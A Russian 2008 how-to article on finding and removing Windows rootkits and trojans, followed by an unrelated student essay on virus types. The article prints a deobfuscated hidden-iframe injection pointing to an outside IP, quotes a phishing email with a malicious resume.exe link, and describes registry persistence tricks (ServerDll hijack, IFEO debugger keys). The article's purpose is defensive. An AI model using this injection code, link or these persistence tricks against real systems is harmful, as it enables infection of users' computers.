Вы, наверно, неоднократно встречали информацию в СМИ о том, что появился новый страшный вирус, который может привести к новой страшной эпидемии и чуть ли не к концу Интернета. Или, что появилась новая технология вирусописания, основанная на использовании младших битов пикселей графических изображений, и тело вируса практически невозможно обнаружить. Или... много еще чего страшненького. Иногда вирусы наделяют чуть ли не разумом и самосознанием. Происходит это от того, что многие пользователи, запутавшись в сложной классификации и подробностях механизма функционирования вирусов, забывают, что в первую очередь, любой вирус - это компьютерная программа, т.е. набор процессорных команд (инструкций), оформленных определенным образом. Неважно, в каком виде существует этот набор (исполняемый файл, скрипт, часть загрузочного сектора или группы секторов вне файловой системы) - гораздо важнее, чтобы эта программа не смогла получить управление, т.е. начать выполняться. Записанный на ваш жесткий диск, но не запустившийся вирус, также безобиден, как и любой другой файл. Главная задача в борьбе с вирусами - не обнаружить тело вируса, а предотвратить возможность его запуска. Поэтому грамотные производители вирусов постоянно совершенствуют не только технологии занесения вредоносного программного обеспечения в систему, но и способы скрытного запуска и функционирования.

Как происходит заражение компьютера вредоносным программным обеспечением (вирусом)? Ответ очевиден - должна быть запущена какая-то программа. Идеально - с административными правами, желательно - без ведома пользователя и незаметно для него. Способы запуска постоянно совершенствуются и основаны, не только на прямом обмане, но и на особенностях или недостатках операционной системы или прикладного программного обеспечения. Например, использование возможности автозапуска для сменных носителей в среде операционных систем семейства Windows привело к распространению вирусов на флэш-дисках. Функции автозапуска обычно вызываются со сменного носителя или из общих сетевых папок. При автозапуске обрабатывается файл Autorun.inf . Этот файл определяет, какие команды выполняет система. Многие компании используют эту функцию для запуска инсталляторов своих программных продуктов, однако, ее же, стали использовать и производители вирусов. В результате, об автозапуске, как некотором удобстве при работе за компьютером, можно забыть. - большинство грамотных пользователей данную опцию отключили навсегда.

Для отключения функций автозапуска в Windows XP/2000 reg-файл для импорта в реестр.

Для Windows 7 и более поздних отключение автозапуска можно выполнить с использованием апплета "Автозапуск" панели управления. В этом случае отключение действует по отношению к текущему пользователю. Более надежным способом защиты от внедрения вирусов, переносимых на съемных устройствах, является блокировка автозапуска для всех пользователей с помощью групповых политик:

запустить редактор групповых политик gpedit.msc

перейти в "Конфигурация компьютера" - - "Конфигурация Windows" - "Административные шаблоны" - "Компоненты Windows" - "Политика автозапуска".

установить значение "Вкл." для компонента "Отключить автозапуск"

Но основным "поставщиком" вирусов, несомненно, является Интернет и, как основное прикладное программное обеспечение - "Обозреватель Интернета" (браузер). Сайты становятся все сложнее и красивее, появляются новые мультимедийные возможности, растут социальные сети, постоянно увеличивается количество серверов и растет число их посетителей. Обозреватель Интернета постепенно превращается в сложный программный комплекс - интерпретатор данных, полученных извне. Другими словами, - в программный комплекс, выполняющий программы на основании неизвестного содержимого. Разработчики обозревателей (браузеров) постоянно работают над повышением безопасности своих продуктов, однако производители вирусов тоже не стоят на месте, и вероятность заражения системы вредоносным ПО остается довольно высокой. Существует мнение, что если не посещать "сайты для взрослых", сайты с серийными номерами программных продуктов и т.п. то можно избежать заражения. Это не совсем так. В Интернете немало взломанных сайтов, владельцы которых даже не подозревают о взломе. И давно прошли те времена, когда взломщики тешили свое самолюбие подменой страниц (дефейсом). Сейчас подобный взлом обычно сопровождается внедрением в страницы вполне добропорядочного сайта, специального кода для заражения компьютера посетителя. Кроме того, производители вирусов используют наиболее популярные поисковые запросы для отображения зараженных страниц в результатах выдачи поисковых систем. Особенно популярны запросы с фразами "скачать бесплатно" и " скачать без регистрации и SMS". Старайтесь не использовать эти слова в поисковых запросах, иначе, риск получения ссылки на вредоносные сайты значительно возрастает. Особенно, если вы ищете популярный фильм, еще не вышедший в прокат или последний концерт известнейшей группы.

Механизм заражения компьютера посетителя сайта, в упрощенном виде, я попробую объяснить на примере. Не так давно, при посещении одного, довольно популярного сайта, я получил уведомление программы мониторинга автозапуска (PT Startup Monitor) о том, что приложение rsvc.exe пытается выполнить запись в реестр. Приложение было благополучно прибито FAR"ом, а изменения в реестре отменены PT Startup Monitor"ом. Анализ страниц сайта показал наличие странного кода на языке Javascript, выполняющего операции по преобразованию строковых данных, не являющихся осмысленным текстом. Язык Javascript поддерживается большинством современных браузеров и используется практически на всех веб-страницах. Сценарий, загружаемый с таких страниц, выполняется обозревателем Интернета. В результате многочисленных преобразований упомянутых выше строк получался довольно простой код:

iframe src="http://91.142.64.91/ts/in.cgi?rut4" width=1 height=1 style="visibility: hidden"

Означающий выполнение CGI-сценария сервера с IP - адресом 91.142.64.91 (не имеющего никакого отношения к посещаемому сайту) в отдельном окне (тег iframe) размером 1 пиксель по ширине и 1 пиксель по высоте, в невидимом окне. Результат - вполне вероятное вирусное заражение. Особенно, если нет антивируса или он не среагирует на угрозу. Данный пример скрытого перенаправления посетителя на вредоносный сайт с использованием тега "iframe" сегодня, наверно, не очень актуален, но вполне демонстрирует как, посещая легальный сайт, можно незаметно для себя побывать и на другом, не очень легальном, даже не подозревая об этом. К сожалению, абсолютной гарантии от вирусного заражения нет и нужно быть готовым к тому, что с вирусом придется справляться собственными силами.

В последнее время, одним из основных направлений развития вредоносных программ стало применение в них всевозможных способов защиты от обнаружения антивирусными средствами - так называемые руткит (rootkit) - технологии. Такие программы часто или не обнаруживаются антивирусами или не удаляются ими. В этой статье я попытаюсь описать более или менее универсальную методику обнаружения и удаления вредоносного программного обеспечения из зараженной системы.

Удаление "качественного" вируса, становится все более нетривиальной задачей, поскольку такой вирус разработчики снабжают свойствами, максимально усложняющими ее решение. Нередко вирус может работать в режиме ядра (kernel mode) и имеет неограниченные возможности по перехвату и модификации системных функций. Другими словами - вирус имеет возможность скрыть от пользователя (и антивируса) свои файлы, ключи реестра, сетевые соединения, - все, что может быть признаком его наличия в зараженной системе. Он может обойти любой брандмауэр, системы обнаружения вторжения и анализаторы протоколов. И, кроме всего прочего, он может работать и в безопасном режиме загрузки Windows. Иными словами, современную вредоносную программу очень непросто обнаружить и обезвредить.

Развитие антивирусов тоже не стоит на месте, - они постоянно совершенствуются, и в большинстве случаев, смогут обнаружить и обезвредить вредоносное ПО, но рано или поздно, найдется модификация вируса, которая какое-то время будет "не по зубам" любому антивирусу. Поэтому самостоятельное обнаружение и удаление вируса - это работа, которую рано или поздно придется выполнять любому пользователю компьютера.

Здравствуйте.
Нас заинтересовала ваша кандидатура, однако предлагаем вам заполнить
наш фирменный бланк резюме и отправить его по адресу [email protected]
Ответ не гарантируется, однако если Ваше резюме нас заинтересует, мы
позвоним Вам в течение нескольких дней. Не забудьте
указать телефон, а также позицию, на которую Вы претендуете. Желательно
также указать пожелания по окладу.
Наш фирменный бланк вы можете скачать по нижеуказанной ссылке.
http://verano-konwektor.pl/resume.exe

Анализ заголовков письма показал, что оно было отправлено с компьютера в Бразилии через сервер, находящийся в США. А фирменный бланк предлагается скачать с сервера в Польше. И это с русскоязычным-то содержанием.

Ясное дело, что никакого фирменного бланка вы не увидите, и скорее всего, получите троянскую программу на свой компьютер.
Скачиваю файл resume.exe. Размер - 159744 байта. Пока не запускаю.
Копирую файл на другие компьютеры, где установлены различные антивирусы - просто для очередной проверки их эффективности. Результаты не ахти - антивирус Avast 4.8 Home Edition деликатно промолчал. Подсунул его Symantec"у - та же реакция. Сработал только AVG 7.5 Free Edition. Похоже, этот антивирус, в самом деле, не зря набирает популярность.
Все эксперименты выполняю на виртуальной машине с операционной системой Windows XP. Учетная запись с правами администратора, поскольку, чаще всего вирусы успешно внедряются в систему только, если пользователь является локальным администратором.
Запускаю. Через какое-то время зараженный файл исчез, похоже, вирус начал свое черное дело.
Поведение системы внешне не изменилось. Очевидно, нужна перезагрузка. На всякий случай, запрещаю в брандмауэре соединения по протоколу TCP. Оставляю разрешенными только исходящие соединения по UDP:53 (DNS) - надо же оставить вирусу хоть какую-то возможность проявить свою активность. Как правило, после внедрения, вирус должен связаться с хозяином или с заданным сервером в интернете, признаком чего будут DNS-запросы. Хотя, опять же, в свете сказанного выше, умный вирус может их замаскировать, кроме того, он может и обойти брандмауэр. Забегая вперед, скажу, что в данном конкретном случае этого не произошло, но для надежного анализа сетевой активности весь трафик зараженной машины лучше пустить через другую, незараженную, где можно быть уверенным, что правила брандмауэра выполняются, а анализатор трафика (я пользовался Wireshark"ом) выдает то, что есть на самом деле.
Перезагружаюсь. Внешне ничего не изменилось, кроме того, что невозможно выйти в интернет, поскольку я сам отключил такую возможность. Ни в путях автозапуска, ни в службах, ни в системных каталогах не появилось ничего нового. Просмотр системного журнала дает только одну наводку - системе не удалось запустить таинственную службу grande48 . Такой службы у меня быть не могло, да и по времени это событие совпало с моментом внедрения. Что еще наводит на мысль об успешном внедрении - так это отсутствие в реестре записи о службе grande48 и отсутствие второго сообщения в журнале системы об ошибке запуска службы после перезагрузки. Это, скорее всего, некоторая недоработка вирусописателей. Хотя и несущественная, ведь большинство пользователей журнал событий не просматривают, да и на момент возникновения подозрения на заражение эта запись в журнале уже может и отсутствовать.

Определяем наличие вируса в системе.

1. Наверняка должен быть "левый" трафик. Определить можно с помощью анализаторов протокола. Я использовал Wireshark. Сразу после загрузки первым запускаю его. Все правильно, есть наличие группы DNS-запросов (как потом оказалось - один раз за 5 минут) на определение IP-адресов узлов ysiqiyp.com, irgfqfyu.com, updpqpqr.com и т.п. Вообще-то все ОС Windows любят выходить в сеть, когда надо и не надо, антивирусы могут обновлять свои базы, поэтому определить принадлежность трафика именно вирусу довольно затруднительно. Обычно требуется пропустить трафик через незараженную машину и серьезно проанализировать его содержимое. Но это отдельная тема. В принципе, косвенным признаком ненормальности сетевой активности системы могут быть значительные значения счетчиков трафика провайдера, в условиях простоя системы, счетчики из свойств VPN-соединения и т.п.

2. Попробуем использовать программы для поиска руткитов. Сейчас таких программ уже немало и их несложно найти в сети. Одна из наиболее популярных - Марка Руссиновича, которую можно скачать на странице раздела Windows Sysinternals сайта Microsoft. Инсталляция не требуется. Разархивируем и запускаем. Жмем "Scan". После непродолжительного сканирования видим результаты:

Кстати, даже не вникая в содержания строк, можно сразу заметить, что имеются очень "свежие" по времени создания/модификации записи или файлы (колонка "Timestamp") . Нас в первую очередь должны заинтересовать файлы с описанием (колонка "Description" ) - "Hidden from Windows API" - скрыто от API-интерфейса Windows. Скрытие файлов, записей в реестре, приложений - это, естественно, ненормально. Два файла - grande48.sys и Yoy46.sys - это как раз то, что мы ищем. Это и есть прописавшийся под видом драйверов искомый руткит или его часть, обеспечивающая скрытность. Наличие в списке остальных было для меня сюрпризом. Проверка показала - это нормальные драйверы Windows XP. Кроме того, вирус скрывал их наличие только в папке \system32 , а их копии в \system32\dllcache остались видимыми.
Напомню, что в Windows XP применяется специальный механизм защиты системных файлов, называемый Windows File Protection (WFP) . Задача WFP - автоматическое восстановление важных системных файлов при их удалении или замене устаревшими или неподписанными копиями. Все системные файлы Windows XP имеют цифровую подпись и перечислены в специальной базе данных, используемой WFP. Для хранения копий файлов используется папка \system32\dllcache и, отчасти, \Windows\driver cache . При удалении или замене одного из системных файлов, WFP автоматически копирует "правильную" его копию из папки \dllcache. Если указанный файл отсутствует в папке \dllcache , то Windows XP просит вставить в привод компакт-дисков установочный компакт-диск Windows XP. Попробуйте удалить vga.sys из \system32, и система тут же его восстановит, используя копию из dllcache. А ситуация, когда, при работающей системе восстановления файлов, файл драйвера есть в \dllcache и его не видно в \system32 - это тоже дополнительный признак наличия руткита в системе.

Удаляем вирус из системы.

Осталось выполнить самое важное действие - удалить вирус. Самый простой и надежный способ - загрузиться в другой, незараженной операционной системе и запретить старт драйверов руткита.

Воспользуемся стандартной консолью восстановления Windows. Берем установочный диск Windows XP и загружаемся с него. На первом экране выбираем 2-й пункт меню - жмем R.

Выбираем систему (если их несколько):

Вводим пароль администратора.
Список драйверов и служб можно просмотреть с помощью команды listsvc:

В самом деле, в списке присутствует Yoy46 , правда отсутствует grande48, что говорит о том, что файл драйвера grande48.sys скрытно присутствует в системе, но не загружается:

Консоль восстановления позволяет запрещать или разрешать запуск драйверов и служб с помощью команд disable и enable . Запрещаем старт Yoy46 командой:

Водим команду EXIT и система уходит на перезагрузку.
После перезагрузки драйвер руткита не будет загружен, что позволит легко удалить его файлы и очистить реестр от его записей. Можно проделать это вручную, а можно использовать какой-нибудь антивирус. Наиболее эффективным, с моей точки зрения, будет бесплатный сканер на основе всем известного антивируса Dr.Web Игоря Данилова. Скачать можно отсюда - http://freedrweb.ru
Там же можно скачать "Dr.Web LiveCD" - образ диска, который позволяет восстановить работоспособность системы, пораженной действиями вирусов, на рабочих станциях и серверах под управлением Windows\Unix, скопировать важную информацию на сменные носители либо другой компьютер, если действия вредоносных программ сделали невозможным загрузку компьютера. Dr.Web LiveCD поможет не только очистить компьютер от инфицированных и подозрительных файлов, но и попытается вылечить зараженные объекты. Для удаления вируса нужно скачать с сайта DrWeb образ (файл с расширением.iso) и записать его на CD. Будет создан загрузочный диск, загрузившись с которого, руководствуетесь простым и понятным меню.

Если по каким-либо причинам, нет возможности воспользоваться Dr.Web LiveCD, можно попробовать антивирусный сканер Dr.Web CureIt!, который можно запустить, загрузившись в другой ОС, например, с использованием Winternals ERD Commander. Для сканирования зараженной системы необходимо указать именно ее жесткий диск (Режим "Выборочная проверка"). Сканер поможет вам найти файлы вируса, и вам останется лишь удалить связанные с ним записи из реестра.
Поскольку вирусы научились прописываться на запуск в безопасном режиме загрузки, не мешает проверить ветку реестра:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\SafeBoot
Разделы:
Minimal - список драйверов и служб запускаемых в безопасном режиме (Safe Mode)
Network - то же, но с поддержкой сети.

Добавлю, что существует новый класс rootkit, представителем которого является BackDoor.MaosBoot , появившийся в конце 2007г. Эта троянская программа прописывает себя в загрузочный сектор жесткого диска и обеспечивает скрытую установку своего драйвера в памяти. Сам Rootkit-драйвер напрямую записан в последние секторы физического диска, минуя файловую систему, чем и скрывает свое присутствие на диске. В общем-то, принцип не новый, лет десять назад вредоносные программы подобным образом маскировались на резервных дорожках дискет и жестких дисков, однако оказался очень эффективным, поскольку большинство антивирусов с задачей удаления BackDoor.MaosBoot до сих пор не справляются. Упоминаемый выше загрузочный сектор не проверяет, а секторы в конце диска для него никак не связаны с файловой системой и, естественно, такой руткит он не обнаружит. Правда, Dr.Web (а, следовательно, и Cureit) с BackDoor.MaosBoot вполне справляется.

Если у вас возникли сомнения относительно какого-либо файла, то можно воспользоваться бесплатной онлайновой антивирусной службой virustotal.com . Через специальную форму на главной странице сайта закачиваете подозрительный файл и ждете результатов. Сервисом virustotal используются консольные версии множества антивирусов для проверки вашего подозреваемого файла. Результаты выводятся на экран. Если файл является вредоносным, то с большой долей вероятности, вы сможете это определить. В какой-то степени сервис можно использовать для выбора "лучшего антивируса".
ссылка на одну из веток форума сайта virusinfo.info, где пользователи выкладывают ссылки на различные ресурсы посвященные антивирусной защите, в т.ч. и онлайн - проверок компьютера, браузера, файлов...

Иногда, в результате некорректных действий вируса (или антивируса) система вообще перестает загружаться. Приведу характерный пример. Вредоносные программы пытаются внедриться в систему, используя различные, в том числе, довольно необычные способы. В процессе начальной загрузки, еще до регистрации пользователя, запускается "Диспетчер сеансов" (\SystemRoot\System32\smss.exe) , задача которого - запустить высокоуровневые подсистемы и сервисы (службы) операционной системы. На этом этапе запускаются процессы CSRSS (Client Server Runtime Process), WINLOGON (Windows Logon), LSASS (LSA shell), и оставшиеся службы с параметром Start=2 из раздела реестра

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services

Информация, предназначенная для диспетчера сеансов, находится в ключе реестра

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager

Одним из способов внедрения в систему, является подмена dll-файла для CSRSS. Если вы посмотрите содержимое записи

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager\SubSystems

То найдете значения

ServerDll=basesrv , ServerDll=winsrv . Библиотеки basesrv.dll и winsrv.dll - это "правильные" файлы системы, загружаемые службой CSRSS на обычной (незараженной) системе. Эту запись в реестре можно подправить на запись, обеспечивающую загрузку, например, вместо basesrv.dll, вредоносной basepvllk32.dll:

ServerDll=basepvllk32 (или какую либо другую dll, отличную от basesrv и winsrv)

Что обеспечит, при следующей перезагрузке, получение управления вредоносной программе. Если же ваш антивирус обнаружит и удалит внедренную basepvllk32, оставив нетронутой запись в реестре, то загрузка системы завершится "синим экраном смерти" (BSOD) с ошибкой STOP c000135 и сообщением о невозможности загрузить basepvllk32.

Поправить ситуацию можно так:

Загрузится в консоль восстановления (или в любой другой системе), и скопировать файл basesrv.dll из папки C:\WINDOWS\system32 в ту же папку под именем basepvllk32.dll. После чего система загрузится и можно будет вручную подправить запись в реестре.
- загрузиться с использованием Winternals ERD Commander и исправить запись в реестре на ServerDll=basesrv . Или выполнить откат системы с использованием точки восстановления.

Еще один характерный пример. Вредоносная программ регистрируется как отладчик процесса explorer.exe, создавая в реестре запись типа:

"Debugger"="C:\Program Files\Microsoft Common\wuauclt.exe"
Удаление wuauclt.exe антивирусом без удаления записи в реестре приводит к невозможности запуска explorer.exe. В результате вы получаете пустой рабочий стол, без каких-либо кнопок и ярлыков. Выйти из положения можно используя комбинацию клавиш CTRL-ALT-DEL. Выбираете "Диспетчер задач" - "Новая задача" - "Обзор" - находите и запускаете редактор реестра regedit.exe. Затем удаляете ключ
HKM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe
и перезагружаетесь.

В случае, когда вы точно знаете время заражения системы, откат на точку восстановления до этого события, является довольно надежным способом избавления от заразы. Иногда есть смысл выполнять не полный откат, а частичный, с восстановлением файла реестра SYSTEM, как это описано в статье "Проблемы с загрузкой ОС" раздела "Windows"

== Май 2008. ==

Дополнение

Это дополнение возникло через год после написания основной статьи. Здесь я решил разместить наиболее интересные решения, возникшие в процессе борьбы с вредоносным программным обеспечением. Что-то вроде коротких заметок.

После удаления вируса ни один антивирус не работает.

Случай интересен тем, что способ блокировки антивирусного программного обеспечения можно использовать и в борьбе с исполняемыми файлами вирусов. Началось все с того, что после удаления довольно примитивного вируса не заработал лицензионный "Стрим Антивирус". Переустановки с чисткой реестра не помогли. Попытка установки Avira Antivir Personal Free закончилась успешно, но сам антивирус не запустился. В системном журнале было сообщение о таймауте при запуске службы "Avira Antivir Guard". Перезапуск вручную заканчивался той же ошибкой. Причем, никаких лишних процессов в системе не выполнялось. Была стопроцентная уверенность - вирусов, руткитов и прочей гадости (Malware) в системе нет.
В какой-то момент попробовал запустить антивирусную утилиту AVZ . Принцип работы AVZ во многом основан на поиске в изучаемой системе разнообразных аномалий. С одной стороны, это помогает в поиске Malware, но с другой вполне закономерны подозрения к компонентам антивирусов, антишпионов и прочего легитимного ПО, активно взаимодействующего с системой. Для подавления реагирования AVZ на легитимные объекты и упрощения анализа результатов проверки системы за счет отметки легитимных объектов цветом и их фильтрации из логов, применяется база безопасных файлов AVZ. С недавнего времени запущен полностью автоматический сервис, позволяющий всем желающим прислать файлы для пополнения этой базы.
Но: исполняемый файл avz.exe не запустился! Переименовываю avz.exe в musor.exe - все прекрасно запускается. В очередной раз AVZ оказался незаменимым помощником в решении проблемы. При выполнении проверок в результатах появилась строки:

Опасно - отладчик процесса "avz.exe"="ntsd-d"
Опасно - отладчик процесса "avguard.exe"="ntsd-d"
:.

Это была уже серьезная зацепка. Поиск в реестре по контексту "avz" привел к обнаружению в ветке

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

Раздела с именем avz.exe , содержащем строковый параметр с именем "Debugger" и значением .
И, как выяснилось позже, в указанной ветке присутствовал не только раздел "avz.exe", но и разделы с именами исполняемых модулей практически всех известных антивирусов и некоторых утилит мониторинга системы. Сам ntsd.exe - вполне легальный отладчик Windows, стандартно присутствующий во всех версиях ОС, но подобная запись в реестре приводит к невозможности запуска приложения, имя исполняемого файла которого совпадает с именем раздела???.exe.

После удаления из реестра всех разделов, c именем???.exe и содержащих запись "Debugger" = "ntsd -d" работоспособность системы полностью восстановилась.

В результате анализа ситуации с использованием параметра "ntsd -d" для блокировки запуска исполняемых файлов, появилась мысль использовать этот же прием для борьбы с самими вирусами. Конечно, это не панацея, но в какой-то степени может снизить угрозу заражения компьютера вирусами с известными именами исполняемых файлов. Для того, чтобы в системе невозможно было выполнить файлы с именами ntos.exe, file.exe, system32.exe и т.п. можно создать reg-файл для импорта в реестр:

Windows Registry Editor Version 5.00

"Debugger"="ntsd -d"
"Debugger"="ntsd -d"
"Debugger"="ntsd -d"
:.. и т.д.

Обратите внимание, на то, что имя раздела не содержат пути файла, поэтому данный способ нельзя применять для файлов вирусов, имена которых совпадают с именами легальных исполняемых файлов, но сами файлы нестандартно размещены в файловой системе. Например, проводник Explorer.exe находится в папке \WINDOWS\, а вирус располагается где-то в другом месте - в корне диска, в папке \temp, \windows\system32\ Если вы создадите раздел с именем "Explorer.exe" - то после входа в систему вы получите пустой рабочий стол, поскольку проводник не запустится. Хуже того, если вы создадите раздел, имя которого совпадает с именем системной службы (winlogon.exe, csrss.exe, smss.exe, services.exe, lsass.exe), то получите рухнувшую систему. Если вирус находится в C:\temp\winlogon.exe, а легальный модуль входа в систему C:\WINDOWS\SYSTEM32\winlogon.exe, создание раздела с именем winlogon.exe приведет к невозможности запуска службы winlogon и краху системы с синим экраном смерти (BSOD).

Но, все же, надеяться на то, что запрашиваемый вирусом код, подойдет в каждом конкретном случае, не стоит. Как не стоит надеяться на честное самоуничтожение вируса, и тем более, не стоит отправлять СМС. Любой вирус можно удалить, даже если он не обнаруживается антивирусами. Методики удаления вируса-вымогателя ничем не отличаются от методик удаления любого другого вредоносного ПО, с одним, пожалуй, отличием - не стоит тратить время на попытки справиться с дрянью в среде зараженной системы, разве что для развития собственных навыков и пополнения знаний.

Наиболее простой и эффективный путь - загрузиться с использованием другой, незараженной системы и, подключившись к зараженной, удалить файлы вируса и исправить внесенные им записи в реестре. Об этом я уже писал выше, в основной части статьи, а здесь попытаюсь просто изложить несколько кратких вариантов удаления вируса.

Использование Dr.Web LiveCD - самый простой и не требующий специальных знаний способ. Скачиваете iso-образ CD, записываете его на болванку, загружаетесь с CD-ROM и запускаете сканер.

Использование Winternals ERD Commander. Загружаетесь с него, подключившись к зараженной системе, и выполняете откат на контрольную точку восстановления с датой, когда заражения еще не было. Выбираете меню System Tools - System Restore . Если откат средствами ERD Commander"а выполнить невозможно, попробуйте вручную найти файлы реестра в данных контрольных точек и восстановить их в каталог Windows. Как это сделать я подробно описал в статье "Работа с реестром".

Загрузка в другой ОС и ручное удаление вируса. Самый сложный, но самый эффективный способ. В качестве другой ОС удобнее всего использовать тот же ERD Commander. Методика обнаружения и удаления вируса может быть следующей:

Переходите на диск зараженной системы и просматриваете системные каталоги на наличие исполняемых файлов и файлов драйверов с датой создания близкой к дате заражения. Перемещаете эти файлы в отдельную папку. Обратите внимание на каталоги

\Windows
\Windows\system32
\Windows\system32\drivers
\Windows\Tasks\
\RECYCLER
\System Volume Information
Каталоги пользователей \Documents And Settings\All Users и \Documents And Settings\имя пользователя

Очень удобно использовать для поиска таких файлов FAR Manager, с включенной сортировкой по дате для панели, где отображается содержимое каталога (комбинация CTRL-F5). Особое внимание стоит обратить на скрытые исполняемые файлы. Существует также эффективная и простая утилита от Nirsoft - SearchMyFiles, применение которой позволяет, в подавляющем большинстве случаев, легко обнаружить вредоносные файлы даже без использования антивируса. Способ обнаружения вредоносных файлов по времени создания (Creation time)

Подключаетесь к реестру зараженной системы и ищете в нем ссылки на имена этих файлов. Сам реестр не мешает предварительно скопировать (полностью или, по крайней мере, те части, где встречаются выше указанные ссылки). Сами ссылки удаляете или изменяете в них имена файлов на другие, например - file.exe на file.ex_, server.dll на server.dl_, driver.sys на driver.sy_.

Данный способ не требует особых знаний и в случаях, когда вирус не меняет дату модификации своих файлов (а это пока встречается очень редко) - дает положительный эффект. Даже если вирус не обнаруживается антивирусами.

Если предыдущие методики не дали результата, остается одно - ручной поиск возможных вариантов запуска вируса. В меню Administrative Tools ERD Commander"а имеются пункты:

Autoruns - информация о параметрах запуска приложений и оболочке пользователя.
Service and Driver Manager - информация о службах и драйверах системы.

- В качестве продолжения темы - как избавиться от вирусов с помощью стандартных средств операционной системы Windows Vista \ Windows 7. Использование безопасного режима с поддержкой командной строки.

Использование загрузочного диска Winternals ERD Commander - Подробная инструкция по применению диска аварийного восстановления системы, созданного на базе Microsoft Diagnostic and Recovery Toolset (MS DaRT) .

Сайт Олега Зайцева, автора AVZ. - Посвящен информационной безопасности, и в частности - применению одной из наиболее эффективных антивирусных утилит AVZ.

Восстановление системы после вирусного заражения Как восстановить работоспособность Windows после удаления вируса, повредившего некоторые настройки. Помогает в случаях, когда не запускаются программы, при подмене страниц, открываемых обозревателем, подмене домашней страницы, страницы поиска, при изменении настроек рабочего стола, невозможности запуска редактора реестра, отсутствии доступа в Интернет, недоступности некоторых сайтов и т.п.

Реферат

Тема: всё о компьютерных вирусах.

Руководитель: Инна Иссаева.

Учащаяся: Юлия Миколюк

Группа: 192/2

Компьютер плотно вошёл в жизнь человека, но также как и человек он может заразиться различными вирусами, и я сейчас расскажу в своём реферате о таких компьютерных вредителях.

Вредоносная программа - программа для компьютера, заведомо приводящая к уничтожению, блокированию, модификации либо копированию информации, нарушению работы машины, или их сети. Существует две различных группы. Первая предназначена для жертвы, вторая - инструменты хакеров.
Вредоносные программы пишутся с разными целями.

* шутка;
* вандализм, в том числе на религиозной, националистической, политической почве;
* стремление доказать свою квалификацию или проверить новый программный механизм;
* получение конфиденциальной информации;
* меркантильные мотивы, например, распространение спама с компьютера-зомби.

К вредоносному ПО относят вирусы, "троянских коней", червей и другие. Вредоносные программы часто бывает очень трудно определить и удалить полностью. При этом наносимый ими ущерб может быть весьма существенным. В частности такие программы способны устанавливать соединение вашего компьютера с другим и передавать ему управление, собирать конфиденциальную информацию, отслеживать нажатие клавиш, разрушать системные ресурсы и т.д.

Если в 1990-е годы среди вирусописателей превалировали нематериальные мотивы, то сейчас основная часть вредоносных программ пишется ради наживы.
Другая современная тенденция - разделение труда в вирусописательстве. Часто создаёт вредоносную программу одно лицо, а использует её другое.

К таким программам относят: сетевых червей, классические файловые вирусы, троянские программы, хакерские утилиты и прочие программы, наносящие заведомый вред компьютеру.
Сетевые черви:
Программы тиражирующие себя по сети (локальной и глобальной) с целью:

 проникновения на удаленные компьютеры;

 запуска своей копии на удаленном компьютере;

 дальнейшего распространения на другие компьютеры в сети.

Для своего распространения сетевые черви используют разнообразные сети.
Практически все известные черви распространяются в виде файлов. Некоторые черви безфайловые, они распространяются в виде пакетов и проникают в машину.
Методы проникновения червей:

социальный инжиниринг
ошибки в службах безопасности операционных систем и приложений.

Есть черви содержащие свойства других разновидностей, например троянские свойства.
Классические компьютерные вирусы
К данной категории относятся программы, распространяющие свои копии по ресурсам локального компьютера с целью:

 последующего запуска своего кода при каких-либо действиях пользователя;

 дальнейшего внедрения в другие ресурсы компьютера.

Это не черви и не могут распространятся по сети. Они могут быть запущены на компьютере жертвы только при его активации.
Опять же могут содержать свойства других сиросов.

Какие бывают вирусы?

В зависимости от того, какие именно программы заражаются, различают несколько типов вирусов.

Файловые вирусы заражают программы на ваших жестких дисках и дискетах. Они могут внедряться во все типы исполняемых файлов, а именно: в COM- и EXE-программы, в командные файлы с расширением.BAT, в системные драйверы, в резидентные "хранители экрана" и прочее. Базы данных, изображения и чистые тексты заражаться не могут, так как не являются программами. К числу файловых относятся и так называемые

макровирусы, которые могут прикрепляться к вашим документам и электронным таблицам, заражая содержащиеся в них специализированные программные компоненты (так называемые "макросы"). Для того чтобы файловый вирус активизировался и начал размножаться, достаточно запустить зараженную программу или открыть зараженный документ.

Загрузочные вирусы заражают маленькие программы, которые всегда записаны в системных областях вашего винчестера и ваших дискет. Для того чтобы такой вирус активизировался, достаточно во время перезагрузки забыть зараженную дискету в щели дисковода.

Вирус немедленно "залезет" в системную область вашего винчестера, а в дальнейшем будет при каждой перезагрузке стартовать оттуда и заражать все вновь вставляемые в дисковод дискеты.

Класс вирусов, именуемых "червями", к другим программам не прикрепляется, а размножается и распространяется по-другому: внедряет себя в оперативную память других компьютеров по сетям, записывает себя целиком внутрь файловых архивов и прочее. Чтобы "червь" активизировался, пользователь должен запустить его собственными руками. Представьте себе, что в вашем ZIP-архиве вдруг появилась программа под завлекательным названием PORNO. Если вы, снедаемые любопытством, запустите ее, все - вирус стартовал!

Вопрос не так прост, как может показаться на первый взгляд. Конечно, все мы прекрасно помним, к каким труднопоправимым последствиям может привести деятельность таких вирусов, как Win32.CIH (Чернобыльский). Но вместе с тем существуют вирусы, которые не несут в себе никаких деструктивных функций, а просто размножаются и перемещаются с одной машины

на другую. К числу таких вирусов относятся хорошо известные самарским владельцам компьютеров Kaczor и OneHalf. Выходит, к ним можно относиться лояльно?

Конечно, нет! Прежде всего вирус, заразив ваш компьютер, пользуется его ресурсами, "откусывая" часть оперативной памяти, замедляя работу обработчиков прерываний и прочее. Во-вторых, даже самый аккуратно написанный безобидный вирус не может быть полностью совместим со всеми программно-аппаратными конфигурациями, что может изредка приводить к неправильной работе отдельных программ, сбоям и тому подобное. (Впрочем, я лично наблюдал случаи, когда вирус жил в компьютере годами, оставаясь незамеченным.) Наконец прогресс не стоит на месте, условия меняются, и прекрасно совместимый с MsDos 3.30 и 286/40/EGA вирус, скорее всего, просто приведет к "вылету" приложения под Windows 95/98. И еще одна причина. Несколько лет назад известный болгарский вирусолог Весселин Бончев провел полномасштабный анализ вопроса и пришел к парадоксальному выводу. Оказывается, так называемые "безобидные" вирусы ежегодно наносят мировой экономике ущерб, исчисляемый сотнями миллионов долларов, но в большинстве случаев потому, что пользователь, узнав о наличии у своего компьютера вируса, начинает беспокоиться, прекращает работу и тратит массу времени и денег на лечение.

